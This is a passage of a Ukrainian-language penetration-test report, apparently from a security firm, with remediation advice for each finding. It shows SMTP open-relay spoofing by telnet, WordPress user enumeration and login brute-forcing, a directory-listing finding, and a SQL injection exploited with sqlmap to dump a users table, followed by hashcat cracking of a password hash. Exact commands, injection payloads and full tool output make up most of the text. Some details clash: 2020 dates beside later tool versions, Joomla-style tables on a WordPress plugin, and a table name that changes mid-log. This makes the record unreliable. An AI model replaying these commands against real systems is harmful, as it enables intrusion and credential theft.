250-ENHANCEDSTATUSCODES
250-8BITMIME
250-DSN
250 CHUNKING
mail from: ethical@hacker.rrr
250 2.1.0 Ok
rcpt to: info@mail.xxxx.net
250 2.1.5 Ok
data
354 End data with <CR><LF>.<CR><LF>
Subject: Open Relay Vulnerability
Your mail server is vuln.
.
250 2.0.0 Ok: queued as 8CEC813E53F
quit
221 2.0.0 Bye
Connection closed by foreign host.
07/04/2020
SECURITY@KR-LABS.COM.UA
15
ОПИС ТА ВПЛИВ АТАКИ
IP-адресу сервера.
Протокол та програмне забезпечення, яке обслуговує поштовий сервер - Postfix.
Список технічних команд, які підтримує MAIL-сервер.
В ході сканування мережевих портів виявлено незахищений поштовий сервер. З допомогою утиліт
командого рядка Linux вдалося налагодити з ним зв’язок і дізнатися ключову інформацію:
Далі з допомогою утиліти Telnet було виконано перевірку MAIL-сервера на спуфінг. Було успішно
проведено несанкціоновану відправку листа від імені сервера, вказавши підроблені дані. При
отриманні, в email-заголовках листа було помічено чимало надлишкової інформації, яку надав
поштовий сервер, зокрема версія поштового клієнта, назва операційної системи тощо.
Таким чином, поштовий сервер сайту [domain] вразливий до атак Spoofing/SMTP Open Relay, створює
витік технічних даних. Зловмисники можуть розсилати спам від імені сайту, проводити масові
електронні розсилки і фішингові атаки. Це серйозно впливає на продуктивність сервера і може
вивести його з ладу. Зовнішні регулятори і пошукові системи за такі порушення можуть занести IP-
адресу сервера у чорні списки (blacklists), тож рекомендується якомога швидше усунути проблему.
РЕКОМЕНДАЦІЇ
Провести комплексну конфігурацію SMTP та поштової служби POSTFIX, аби в подальшому
поштовий сервер не можна було використовувати як відкритий ретранслятор.
Налаштувати фільтрацію з’єднання з поштовим сервером через SMTP-протокол. Обмежити доступ
до порта SMTP 25.
Заборонити відправку листів без авторизації.
Відключити зайві команди поштового сервера, які доступні по протоколу SMTP.
Прибрати конфіденційну інформацію у заголовках поштового сервера.
07/04/2020
SECURITY@KR-LABS.COM.UA
НАЗВА АТАКИ BRUTEFORCE ATTACK ON WP-LOGIN
РІВЕНЬ ЗАГРОЗИ CRITICAL CVSS SCORE: 10
CWE-308, CWE-
521, A2:2017,
A7:2021,
ТЕХНІЧНІ ДЕТАЛІ ЕКСПЛУАТАЦІЇ
$ wpscan --url [domain] --enumerate u --api-token xxxxxxxxxx --random-user-agent
__ _______ _____
  / / __  / ____|
  / / /| |__) | (___ ___ __ _ _ __ ®
 / / / | ___/ ___  / __|/ _` | '_ 
 / / | | ____) | (__| (_| | | | |
/ / |_| |_____/ ___|__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.22
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: [domain] [XXX.XX.XXX.XX]
[+] Started: Tue Mar 7 12:56:48 2020
[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:03
<======================================================================================================
======================================================================================================>
(10 / 10) 100.00% Time: 00:00:03
[i] User(s) Identified:
[+] admin
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
Скріншот 1. Брутфорс сторінки авторизації WordPress в BurpSuite PRO. Вибір параметру $password для
подальшої атаки методом перебору Sniper.
16
07/04/2020
SECURITY@KR-LABS.COM.UA
Скріншот 2. Запуск брутфорс атаки в Burpsuite PRO. Відстеження кодів відповіді сервера.
Скріншот 3. Виявлено код відповіді 302 - передаресація в панель адміністрування CMS WordPress. Атака
вдало завершена. Пароль успішно підібрано.
17
07/04/2020
SECURITY@KR-LABS.COM.UA
18
ОПИС ТА ВПЛИВ АТАКИ
З допомогою утиліти командого рядка WPScan виконано сканування CMS WordPress. Була успішно
проведена енумерація компонентів і облікових записів сайту [domain]. Завдяки відкритому доступу до
WP JSON API, вдалося ідентифікувати логіни користувачів. Серед них виявлено обліковий запис з
правами адміністратора - admin. Його було взято за ціль.
Скориставшись проксі-сканером Burp Suite, проведена брутфорс-атака з перебором паролів для
облікового запису admin. У висновку, пароль було підібрано - він виявивився недостатньо стійким.
Після цього було успішно здійснено вхід до панелі адміністрування WordPress.
Отже, ця вразливість дає необмежений доступ до керування сайтом. Необхідно терміново вжити усіх
необхідних заходів, щоби запобігти зламам, існують високі ризики цілісності та доступності ресурсу.
РЕКОМЕНДАЦІЇ
Змінити URL-адресу сторінки входу в адмін-панель. Наприклад, замість /wp-admin/ вказати /my-url/.
Можна скористатися і готовим плагіном WPS Hide Login.
Обмежити доступ до сторінки входу в адмін-панель - /wp-login.php. Можна включити на сервері
httpasswd-авторизацію або активувати доступ лише для довіреного списку IP-адрес.
Встановити плагін-файєрвол для WordPress, наприклад WordFence Security, який буде
спрацьовувати при будь-яких несанкціонованих та підозрілих діях і блокуватиме токсичні запити.
Інтегрувати двофакторну 2FA-авторизацію на сторінку входу (Google Authentificator) та інтегрувати
форму захисту від ботів - Google reCaptcha.
Обмежити кількість невдалих спроб входу в адмін-панель. Можна використати плагін Limit Login
Attempts.
Не використовувати обліковий запис з ім'ям admin. Повністю вилучити його з системи. Підбирати
складні імена та надійні паролі - не менше 20 знаків верхнього та нижнього регістру, включаючи
спецсимволи.
Обмежити доступ до WP JSON API - /wp-json/wp/v2/users/?per_page=100&page=1
07/04/2020
SECURITY@KR-LABS.COM.UA
НАЗВА АТАКИ WORDPRESS DIRECTORY TRAVERSAL ATTACK
РІВЕНЬ ЗАГРОЗИ LOW CVSS SCORE: 4.3
CWE-22, CWE-
538, CWE-548
ТЕХНІЧНІ ДЕТАЛІ ЕКСПЛУАТАЦІЇ
$ wpscan --url [domain] --enumerate u,ap,vt,tt,cb,dbe,m --api-token xxxxxxxxx --random-user-agent
_______________________________________________________________
__ _______ _____
  / / __  / ____|
  / / /| |__) | (___ ___ __ _ _ __ ®
 / / / | ___/ ___  / __|/ _` | '_ 
 / / | | ____) | (__| (_| | | | |
/ / |_| |_____/ ___|__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.22
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: [domain] [XXX.XX.XXX.XX]
[+] Started: Tue Mar 7 14:58:50 2020
Interesting Finding(s):
[+] Upload directory has listing enabled: https://[domain]/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
Скріншот 4. Вразлива сторінка сайту WordPress /wp-content/upload з лістингом (індексом) папок і файлів.
18
07/04/2020
SECURITY@KR-LABS.COM.UA
19
ОПИС ТА ВПЛИВ АТАКИ
В рамках сканування CMS WordPress на сайті [domain] виявлено доступні для зовнішнього Інтернету
внутрішні директорії сайту. Будь-який відвідувач з допомогою браузера може переглядати приховані
файли і папки сайту, переходити по службовим каталогам, переглядати їх вміст.
Зловмисники можуть використати це для дослідження структури та ієрархії сайту, ідентифікувати
системні компоненти, дізнатися розташування службових файлів, а у деяких випадках (за наявності
супутніх вразливостей) отримати доступ до файлів за межами кореневого каталогу. Вразливість
створює серйозні ризики конфіденційності.
РЕКОМЕНДАЦІЇ
Виставити коректні права доступу для вмісту WordPress: 644 - файли; 755 - папки.
Обмежити доступ до системних директорій: /wp-content, /wp-includes, /uploads
Перенести файл конфігурації WordPress /wp-config.php на один рівень вище у кореневій ієрархії
сайту, призначити права доступу - 640.
Відключити лістинг (індекс) директорій, додавши у файл .htaccess директиву: Options -Indexes
Встановити файєрвол для WordPress - Wordfence Security і активувати блокування шкідливих
навантажень.
Додати HTTP-заголовки безпеки на сервері: X-Frame-Options, X-XSS-Protection, Strict-Transport-
Security, X-Content-Type-Options, Content-Security-Policy
07/04/2020
SECURITY@KR-LABS.COM.UA
20
НАЗВА АТАКИ SQL INJECTION ATTACK
РІВЕНЬ ЗАГРОЗИ CRITICAL CVSS SCORE: 8.8 CAPEC-66
ТЕХНІЧНІ ДЕТАЛІ ЕКСПЛУАТАЦІЇ
$ ffuf -u http://[domain.com]/wp-
content/plugins/muscats/FUZZ -w
/usr/share/wordlists/seclists/Discovery/Web-
Content/raft-medium-words-lowercase.txt -e
.php,.html,.txt -mc 200
/'___ /'___ /'___
/ __/ / __/ __ __ / __/
  ,__  ,__/ /    ,__
  _/   _/  _    _/
 _  _  ____/  _
/_/ /_/ /___/ /_/
v1.5.0 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://[domain]/FUZZ
:: Wordlist : FUZZ:
/usr/share/wordlists/seclists/Discovery/Web-
Content/raft-medium-words-lowercase.txt
:: Extensions : .php .html .txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200
________________________________________________
...
post.php [Status: 200, Size: 39535,
Words: 2304, Lines: 593, Duration: 7829ms]
$ python3 xsstrike.py -u "http://[domain]" --crawl
XSStrike v3.1.5
[~] Crawling the target
...
[++] Vulnerable webpage: http://[domain]/wp-
content/plugins/muscats/post.php
$ python3 photon.py -u [domain]
____ __ __
/ __ / /_ ____ / /_____ ____
/ /_/ / __ / __ / __/ __ / __ 
/ ____/ / / / /_/ / /_/ /_/ / / / /
/_/ /_/ /_/____/__/____/_/ /_/ v1.3.2
[+] URLs retrieved from sitemap.xml: 2
[~] Level 1: 3 URLs
[!] Progress: 3/3
[~] Level 2: 15 URLs
[!] Progress: 15/15
[~] Crawling 0 JavaScript files
--------------------------------------------------
[+] Files: 9
[+] Internal: 27
[+] External: 46
[+] Fuzzable: 1
--------------------------------------------------
[!] Total requests made: 19
[!] Total time taken: 0 minutes 19 seconds
[!] Requests per second: 0
[+] Results saved in [domain] directory
cat fuzzable.txt
http://[domain]/wp-content/plugins/muscats/post.php?
extension=menu&view=menu&parent=
$ python3 sqlmap.py -u 'http://[domain]/wp-
content/plugins/muscats/post.php?
extension=menu&view=menu&parent=' --level=5 --risk=3
--random-agent -p parent --batch --current-db --
current-user --no-cast
___
__H__
___ ___[)]_____ ___ ___ {1.7.4.6#dev}
|_ -| . [,] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[*] starting @ 16:09:24 /2020-04-07/
[16:09:24] [INFO] fetched random HTTP User-Agent
header value 'Opera/9.27 (Macintosh; Intel Mac OS X;
U; sv)' from file '/root/sqlmap/data/txt/user-
agents.txt'
[16:09:24] [WARNING] provided value for parameter
'parent' is empty. Please, always use only valid
parameter values so sqlmap could be able to run
properly
[16:09:25] [INFO] testing connection to the target
URL
you have not declared cookie(s), while server wants
to set its own ('***********************'). Do you
want to use those [Y/n] Y
[16:09:25] [INFO] checking if the target is
protected by some kind of WAF/IPS
[16:09:25] [CRITICAL] heuristics detected that the
target is protected by some kind of WAF/IPS
are you sure that you want to continue with further
target testing? [Y/n] Y
[16:09:25] [WARNING] please consider usage of tamper
scripts (option '--tamper')
[16:09:25] [INFO] testing if the target URL content
is stable
[16:09:25] [INFO] target URL content is stable
[16:09:26] [WARNING] heuristic (basic) test shows
that GET parameter 'parent' might not be injectable
07/04/2020
SECURITY@KR-LABS.COM.UA
21
[16:09:26] [INFO] testing for SQL injection on GET
parameter 'parent'
[16:09:26] [INFO] testing 'AND boolean-based blind
- WHERE or HAVING clause'
[16:09:36] [INFO] testing 'OR boolean-based blind
- WHERE or HAVING clause'
[16:10:36] [INFO] GET parameter 'parent' appears
to be 'OR boolean-based blind - WHERE or HAVING
clause' injectable
[16:11:36] [INFO] heuristic (extended) test shows
that the back-end DBMS could be 'MySQL'
it looks like the back-end DBMS is 'MySQL'. Do you
want to skip test payloads specific for other
DBMSes? [Y/n] Y
[16:11:36] [INFO] testing 'MySQL >= 5.5 AND error-
based - WHERE, HAVING, ORDER BY or GROUP BY clause
(BIGINT UNSIGNED)'
[16:11:36] [INFO] testing 'MySQL >= 5.5 OR error-
based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[16:11:36] [INFO] testing 'MySQL >= 5.5 AND error-
based - WHERE, HAVING, ORDER BY or GROUP BY clause
(EXP)'
[16:11:36] [INFO] testing 'MySQL >= 5.5 OR error-
based - WHERE or HAVING clause (EXP)'
[16:11:37] [INFO] testing 'MySQL >= 5.6 AND error-
based - WHERE, HAVING, ORDER BY or GROUP BY clause
(GTID_SUBSET)'
[16:11:37] [INFO] testing 'MySQL >= 5.6 OR error-
based - WHERE or HAVING clause (GTID_SUBSET)'
[16:11:37] [INFO] testing 'MySQL >= 5.7.8 AND
error-based - WHERE, HAVING, ORDER BY or GROUP BY
clause (JSON_KEYS)'
[16:11:37] [INFO] testing 'MySQL >= 5.7.8 OR
error-based - WHERE or HAVING clause (JSON_KEYS)'
[16:11:37] [INFO] testing 'MySQL >= 5.0 AND error-
based - WHERE, HAVING, ORDER BY or GROUP BY clause
(FLOOR)'
[16:11:38] [INFO] testing 'MySQL >= 5.0 OR error-
based - WHERE, HAVING, ORDER BY or GROUP BY clause
(FLOOR)'
[16:11:38] [INFO] testing 'MySQL >= 5.1 AND error-
based - WHERE, HAVING, ORDER BY or GROUP BY clause
(EXTRACTVALUE)'
[16:11:38] [INFO] testing 'MySQL >= 5.1 OR error-
based - WHERE, HAVING, ORDER BY or GROUP BY clause
(EXTRACTVALUE)'
[16:11:38] [INFO] testing 'MySQL >= 5.1 AND error-
based - WHERE, HAVING, ORDER BY or GROUP BY clause
(UPDATEXML)'
[16:11:38] [INFO] testing 'MySQL >= 5.1 OR error-
based - WHERE, HAVING, ORDER BY or GROUP BY clause
(UPDATEXML)'
[16:11:39] [INFO] testing 'MySQL >= 4.1 AND error-
based - WHERE, HAVING, ORDER BY or GROUP BY clause
(FLOOR)'
[16:11:39] [INFO] testing 'MySQL >= 4.1 OR error-
based - WHERE or HAVING clause (FLOOR)'
[16:11:39] [INFO] testing 'MySQL OR error-based -
WHERE or HAVING clause (FLOOR)'
[16:11:39] [INFO] testing 'MySQL >= 5.1 error-
based - PROCEDURE ANALYSE (EXTRACTVALUE)'
[16:11:39] [INFO] testing 'MySQL >= 5.5 error-
based - Parameter replace (BIGINT UNSIGNED)'
[16:11:39] [INFO] testing 'MySQL >= 5.5 error-
based - Parameter replace (EXP)'
[16:11:39] [INFO] testing 'MySQL >= 5.6 error-based
- Parameter replace (GTID_SUBSET)'
[16:11:39] [INFO] testing 'MySQL >= 5.7.8 error-
based - Parameter replace (JSON_KEYS)'
[16:11:37] [INFO] testing 'MySQL >= 5.0 AND error-
based - WHERE, HAVING, ORDER BY or GROUP BY clause
(FLOOR)'
[16:11:38] [INFO] testing 'MySQL >= 5.0 OR error-
based - WHERE, HAVING, ORDER BY or GROUP BY clause
(FLOOR)'
[16:11:38] [INFO] testing 'MySQL >= 5.1 AND error-
based - WHERE, HAVING, ORDER BY or GROUP BY clause
(EXTRACTVALUE)'
[16:11:38] [INFO] testing 'MySQL >= 5.1 OR error-
based - WHERE, HAVING, ORDER BY or GROUP BY clause
(EXTRACTVALUE)'
[16:11:38] [INFO] testing 'MySQL >= 5.1 AND error-
based - WHERE, HAVING, ORDER BY or GROUP BY clause
(UPDATEXML)'
[16:11:38] [INFO] testing 'MySQL >= 5.1 OR error-
based - WHERE, HAVING, ORDER BY or GROUP BY clause
(UPDATEXML)'
[16:11:39] [INFO] testing 'MySQL >= 4.1 AND error-
based - WHERE, HAVING, ORDER BY or GROUP BY clause
(FLOOR)'
[16:11:39] [INFO] testing 'MySQL >= 5.1 error-based
- Parameter replace (UPDATEXML)'
[16:11:39] [INFO] testing 'MySQL >= 5.1 error-based
- Parameter replace (EXTRACTVALUE)'
[16:11:39] [INFO] testing 'Generic inline queries'
[16:11:40] [INFO] testing 'MySQL inline queries'
[16:11:40] [INFO] testing 'MySQL >= 5.0.12 stacked
queries (comment)'
[16:11:40] [CRITICAL] considerable lagging has been
detected in connection response(s). Please use as
high value for option '--time-sec' as possible (e.g.
10 or more)
[16:11:40] [INFO] testing 'MySQL >= 5.0.12 stacked
queries'
[16:11:40] [INFO] testing 'MySQL >= 5.0.12 stacked
queries (query SLEEP - comment)'
[16:11:40] [INFO] testing 'MySQL >= 5.0.12 stacked
queries (query SLEEP)'
[16:11:41] [INFO] testing 'MySQL < 5.0.12 stacked
queries (BENCHMARK - comment)'
[16:11:41] [INFO] testing 'MySQL < 5.0.12 stacked
queries (BENCHMARK)'
[16:11:41] [INFO] testing 'MySQL >= 5.0.12 AND time-
based blind (query SLEEP)'
[16:11:46] [INFO] testing 'MySQL >= 5.0.12 OR time-
based blind (query SLEEP)'
[16:13:43] [INFO] testing 'MySQL >= 5.0.12 AND time-
based blind (SLEEP)'
[16:13:43] [INFO] testing 'MySQL >= 5.0.12 OR time-
based blind (SLEEP)'
[16:14:13] [INFO] testing 'MySQL >= 5.0.12 AND time-
based blind (SLEEP - comment)'
[16:14:13] [INFO] testing 'MySQL >= 5.0.12 OR time-
based blind (SLEEP - comment)'
[16:14:43] [INFO] testing 'MySQL >= 5.0.12 AND time-
based blind (query SLEEP - comment)'
[16:14:48] [INFO] testing 'MySQL >= 5.0.12 OR time-
based blind (query SLEEP - comment)'
[16:16:55] [INFO] testing 'MySQL < 5.0.12 AND time-
based blind (BENCHMARK)'
[16:17:00] [INFO] testing 'MySQL > 5.0.12 AND time-
based blind (heavy query)'
07/04/2020
SECURITY@KR-LABS.COM.UA
22
[16:17:30] [INFO] testing 'MySQL < 5.0.12 OR time-
based blind (BENCHMARK)'
[16:17:35] [INFO] testing 'MySQL > 5.0.12 OR time-
based blind (heavy query)'
[16:18:05] [INFO] testing 'MySQL < 5.0.12 AND
time-based blind (BENCHMARK - comment)'
[16:18:11] [INFO] testing 'MySQL > 5.0.12 AND
time-based blind (heavy query - comment)'
[16:18:41] [INFO] testing 'MySQL < 5.0.12 OR time-
based blind (BENCHMARK - comment)'
[16:18:46] [INFO] testing 'MySQL > 5.0.12 OR time-
based blind (heavy query - comment)'
[16:19:16] [INFO] testing 'MySQL >= 5.0.12 RLIKE
time-based blind'
[16:19:46] [INFO] testing 'MySQL >= 5.0.12 RLIKE
time-based blind (comment)'
[16:20:16] [INFO] testing 'MySQL >= 5.0.12 RLIKE
time-based blind (query SLEEP)'
[16:20:23] [INFO] testing 'MySQL >= 5.0.12 RLIKE
time-based blind (query SLEEP - comment)'
[16:20:30] [INFO] testing 'MySQL AND time-based
blind (ELT)'
[16:20:30] [INFO] testing 'MySQL OR time-based
blind (ELT)'
[16:21:00] [INFO] testing 'MySQL AND time-based
blind (ELT - comment)'
[16:21:00] [INFO] testing 'MySQL OR time-based
blind (ELT - comment)'
[16:21:30] [INFO] testing 'MySQL >= 5.1 time-based
blind (heavy query) - PROCEDURE ANALYSE
(EXTRACTVALUE)'
[16:21:31] [INFO] testing 'MySQL >= 5.1 time-based
blind (heavy query - comment) - PROCEDURE ANALYSE
(EXTRACTVALUE)'
[16:21:32] [INFO] testing 'MySQL >= 5.0.12 time-
based blind - Parameter replace'
[16:21:32] [INFO] testing 'MySQL >= 5.0.12 time-
based blind - Parameter replace (substraction)'
[16:21:32] [INFO] testing 'MySQL < 5.0.12 time-
based blind - Parameter replace (BENCHMARK)'
[16:21:32] [INFO] testing 'MySQL > 5.0.12 time-
based blind - Parameter replace (heavy query -
comment)'
[16:21:32] [INFO] testing 'MySQL time-based blind
- Parameter replace (bool)'
[16:21:32] [INFO] testing 'MySQL time-based blind
- Parameter replace (ELT)'
[16:21:32] [INFO] testing 'MySQL time-based blind
- Parameter replace (MAKE_SET)'
[16:21:32] [INFO] testing 'Generic UNION query
(NULL) - 1 to 20 columns'
[16:21:32] [INFO] automatically extending ranges
for UNION query injection technique tests as there
is at least one other (potential) technique found
[16:21:37] [INFO] target URL appears to be UNION
injectable with 8 columns
[16:21:38] [INFO] GET parameter 'parent' is
'Generic UNION query (NULL) - 1 to 20 columns'
injectable
[16:21:38] [WARNING] in OR boolean-based injection
cases, please consider usage of switch '--drop-
set-cookie' if you experience any problems during
data retrieval
[16:21:38] [WARNING] applying generic
concatenation (CONCAT)
GET parameter 'parent' is vulnerable. Do you want to
keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s)
with a total of 167 HTTP(s) requests:
---
Parameter: parent (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING
clause
Payload: extension=menu&view=menu&parent=-9510"
OR 7370=7370-- fkxy
Type: UNION query
Title: Generic UNION query (NULL) - 8 columns
Payload: extension=menu&view=menu&parent=" UNION
ALL SELECT
NULL,CONCAT(0x717a627071,0x4b78757364726f5a6c70474f5
7415a725a676f46626252644d69584a6b67586f6754685565666
d4c,0x7171626271),NULL,NULL,NULL,NULL,NULL,NULL-- -
---
[16:21:38] [INFO] testing MySQL
[16:21:38] [INFO] confirming MySQL
[16:21:39] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
[16:21:39] [INFO] fetching current user
current user: 'rollocaster@localhost'
[16:21:39] [INFO] fetching current database
current database: 'rollsenroys'
[16:21:39] [WARNING] HTTP error codes detected
during run:
403 (Forbidden) - 1 times
[16:21:39] [INFO] fetched data logged to text files
under '/root/.local/share/sqlmap/output/[domain]'
[*] ending @ 16:21:39 /2020-04-07/
$ python3 sqlmap.py -u 'http://[domain]/wp-
content/plugins/muscats/post.php?
extension=menu&view=menu&parent=' -D rollsenroys --
tables --random-agent -o
[*] starting @ 16:29:00 /2020-04-07/
[16:29:00] [INFO] fetched random HTTP User-Agent
header value 'Mozilla/4.0 (compatible; MSIE 6.0b;
Windows NT 5.1)' from file
'/root/sqlmap/data/txt/user-agents.txt'
[16:29:00] [WARNING] provided value for parameter
'parent' is empty. Please, always use only valid
parameter values so sqlmap could be able to run
properly
[16:29:00] [INFO] resuming back-end DBMS 'mysql'
[16:29:00] [INFO] testing connection to the target
URL
you have not declared cookie(s), while server wants
to set its own ('**********************').
Do you want to use those [Y/n] Y
[16:29:05] [CRITICAL] previous heuristics detected
that the target is protected by some kind of WAF/IPS
[16:29:05] [INFO] testing NULL connection to the
target URL
[16:29:05] [INFO] NULL connection is supported with
GET method ('Range')
07/04/2020
SECURITY@KR-LABS.COM.UA
23
sqlmap resumed the following injection point(s)
from stored session:
---
Parameter: parent (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or
HAVING clause
Payload:
extension=menu&view=menu&parent=-9510" OR
7370=7370-- fkxy
Type: UNION query
Title: Generic UNION query (NULL) - 8 columns
Payload: extension=menu&view=menu&parent="
UNION ALL SELECT
NULL,CONCAT(0x717a627071,0x4b78757364726f5a6c70474
f57415a725a676f46626252644d69584a6b67586f675468556
5666d4c,0x7171626271),NULL,NULL,NULL,NULL,NULL,NUL
L-- -
---
[16:29:05] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL 5 (MariaDB fork)
[16:29:05] [INFO] fetching tables for database:
'rollsenroys'
Database: rollsenroys
[85 tables]
+--------------------------------------+
| roll_posts |
| roll_components |
| roll_groups |
| roll_terms |
| roll_tags |
| roll_messages |
| roll_modules |
| roll_plugins |
| roll_newsfeeds |
| roll_options |
| roll_usermeta |
| roll_users |
| roll_weblinks |
| ... |
+--------------------------------------+
[*] ending @ 16:29:06 /2020-04-07/
$ python3 sqlmap.py -u 'http://[domain]/wp-
content/plugins/muscats/post.php?
extension=menu&view=menu&parent=' -D rollsenroys -
T roll_users --columns --random-agent -o
[*] starting @ 17:01:05 /2020-04-07/
[17:01:05] [INFO] fetched random HTTP User-Agent
header value 'Mozilla/5.0 (X11; U; Linux i686; en-
US; rv:1.9pre) Gecko/2008040318 Firefox/3.0pre
(Swiftfox)' from file '/root/sqlmap/data/txt/user-
agents.txt'
[17:01:05] [WARNING] provided value for parameter
'parent' is empty. Please, always use only valid
parameter values so sqlmap could be able to run
properly
[17:01:05] [INFO] resuming back-end DBMS 'mysql'
[17:01:05] [INFO] testing connection to the target
URL
you have not declared cookie(s), while server
wants to set its own
('*******************************').
Do you want to use those [Y/n] Y
[17:01:07] [CRITICAL] previous heuristics detected
that the target is protected by some kind of WAF/IPS
sqlmap resumed the following injection point(s) from
stored session:
---
Parameter: parent (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING
clause
Payload: extension=menu&view=menu&parent=-9510"
OR 7370=7370-- fkxy
Type: UNION query
Title: Generic UNION query (NULL) - 8 columns
Payload: extension=menu&view=menu&parent=" UNION
ALL SELECT
NULL,CONCAT(0x717a627071,0x4b78757364726f5a6c70474f5
7415a725a676f46626252644d69584a6b67586f6754685565666
d4c,0x7171626271),NULL,NULL,NULL,NULL,NULL,NULL-- -
---
[17:01:07] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL 5 (MariaDB fork)
[17:01:07] [INFO] fetching columns for table
'hcds_users' in database 'rollsenroys'
Database: rollsenroys
Table: roll_users
[14 columns]
+---------------+---------------------+
| Column | Type |
+---------------+---------------------+
| block | tinyint(4) |
| name | varchar(255) |
| password | varchar(100) |
| activation | varchar(100) |
| email | varchar(100) |
| gid | tinyint(3) unsigned |
| id | int(11) |
| lastvisit | datetime |
| lastvisitDate | datetime |
| params | text |
| registerDate | datetime |
| sendEmail | tinyint(4) |
| username | varchar(150) |
| usertype | varchar(25) |
+---------------+---------------------+
[*] ending @ 17:01:08 /2020-04-07/
$ python3 sqlmap.py -u 'http://[domain]/wp-
content/plugins/muscats/post.php?
extension=menu&view=menu&parent=' -D rollsenroys -T
roll_users --dump --random-agent -o
[*] starting @ 17:08:04 /2020-04-07/
[17:08:04] [INFO] fetched random HTTP User-Agent
header value 'Mozilla/5.0 (X11; U; Linux i686; pl;
rv:1.9.2.18) Gecko/20110614 Firefox/3.6.18 (.NET CLR
3.5.30729; .NET4.0E)' from file
'/root/sqlmap/data/txt/user-agents.txt'
[17:08:04] [WARNING] provided value for parameter
'parent' is empty. Please, always use only valid
parameter values so sqlmap could be able to run
properly
07/04/2020
SECURITY@KR-LABS.COM.UA
24
[17:08:04] [INFO] resuming back-end DBMS 'mysql'
[17:08:04] [INFO] testing connection to the target
URL
you have not declared cookie(s), while server
wants to set its own
('*********************************'). Do you want
to use those [Y/n] Y
[17:08:07] [CRITICAL] previous heuristics detected
that the target is protected by some kind of
WAF/IPS
sqlmap resumed the following injection point(s)
from stored session:
---
Parameter: parent (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or
HAVING clause
Payload:
extension=menu&view=menu&parent=-9510" OR
7370=7370-- fkxy
Type: UNION query
Title: Generic UNION query (NULL) - 8 columns
Payload: extension=menu&view=menu&parent=" UNION
ALL SELECT
NULL,CONCAT(0x717a627071,0x4b78757364726f5a6c70474
f57415a725a676f46626252644d69584a6b67586f675468556
5666d4c,0x7171626271),NULL,NULL,NULL,NULL,NULL,NUL
L-- ----
[17:08:07] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL 5 (MariaDB fork)
[17:08:07] [INFO] fetching columns for table
'roll_users' in database 'rollsenroys'
[17:08:07] [INFO] fetching entries for table
'hcds_users' in database 'rollsenroys'
[17:08:10] [INFO] recognized possible password
hashes in columns 'activation, `password`'
do you want to store hashes to a temporary file
for eventual further processing with other tools
[y/N] y
[17:08:27] [INFO] writing hashes to a temporary
file '/tmp/sqlmXXXXXXX/sqlmaphashes-XXXXX.txt'
do you want to crack them via a dictionary-based
attack? [Y/n/q] n
Database: rollsenroys
Table: roll_users
[1265 entries]
[17:08:33] [WARNING] console output will be
trimmed to last 256 rows due to large table size
| 20619 | 18 | admin_lk@gmail.com | Roll | 0 |
fandom | Administrator | 0000-00-00 00:00:00 | 0 |
**************:***************************** | <
...
[17:08:34] [INFO] table 'rollsenroys.roll_users'
dumped to CSV file
'/root/.local/share/sqlmap/output/[domain]/dump/ro
llsenroys/roll_users.csv'
[17:08:34] [INFO] fetched data logged to text
files under
'/root/.local/share/sqlmap/output/[domain]'
[*] ending @ 17:08:34 /2020-04-07/
$ hashcat -m10 -a0 hash.txt ~/hashkiller-dict.txt
hashcat (v6.2.5) starting
CUDA API (CUDA 11.4)
====================
* Device #1: NVIDIA GeForce 940MX, 1979/2004 MB,
3MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Minimim salt length supported by kernel: 0
Maximum salt length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask,
262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash
Watchdog: Temperature abort trigger set to 90c
Host memory required for this attack: 52 MB
Dictionary cache hit:
* Filename..: ~/hashkiller-dict.txt
* Passwords.: 237082819
* Bytes.....: 2653699494
* Keyspace..: 237082819
**************:*****************************:passw0r
d
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 10 (md5($pass.$salt))
Hash.Target......:
**************:*****************************
Time.Started.....: Mon Apr 07 14:51:02 2020 (31
secs)
Time.Estimated...: Mon Apr 07 14:51:33 2020 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (~/hashkiller-dict.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 3064.7 kH/s (5.92ms) @ Accel:1024
Loops:1 Thr:64 Vec:1
Recovered........: 1/1 (100.00%) Digests
Progress.........: 92798976/237082819 (39.14%)
Rejected.........: 0/92798976 (0.00%)
Restore.Point....: 92602368/237082819 (39.06%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-
1
Candidate.Engine.: Device Generator
Candidates.#1....: e6b738ec -> wugydumy
Hardware.Mon.#1..: Temp: 53c Util: 45% Core:1084MHz
Mem:2505MHz Bus:4
Started: Mon Apr 07 14:51:01 2020
Stopped: Mon Apr 07 14:51:34 2020
07/04/2020
